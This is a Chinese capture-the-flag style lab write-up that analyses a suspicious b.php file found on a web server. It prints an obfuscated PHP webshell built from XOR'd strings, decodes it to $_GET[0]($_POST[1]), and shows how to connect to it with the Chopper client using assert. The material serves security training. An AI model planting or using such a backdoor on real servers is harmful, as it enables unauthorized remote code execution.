[ 墨者学院 ] 代码审计 —— PHP代码分析溯源(第1题)

0x01.题目描述:

                                    背景介绍

某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。

                                     实训目标

1、了解PHP语言的基本代码;
2、了解PHP语言中“危险”函数的代码;

 

0x02.解题过程:

启动靶场环境后,点击生成的链接地址,这里给出了b.php的代码

1 <?php
2 @$_++;
3 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
4 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
5 ${$__}[!$_](${$___}[$_]);
6 ?>

下面利用php在线工具分析一下这些代码的含义。

(php在线工具:https://tool.lu/coderunner/

可以看到这里赋值的三个变量的值:

$_ = 1

$__ = _GET

$___ = _POST

然后将这三个值带入下面的语句${$__}[!$_](${$___}[$_])};中,即:${_GET}[!1](${_POST}[1]);最后的结果就是:$_GET[0]($_POST[1]);

构造菜刀的链接参数为http://url/b.php?0=assert,密码为1。

连接即可拿到靶机目录下的key。

 

问题总结:

这里不明白的是为什么使用的参数是assert而不是eval,下面简述一下assert和eval的不同。

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 

   

转载于:https://www.cnblogs.com/qtisec/p/11052742.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值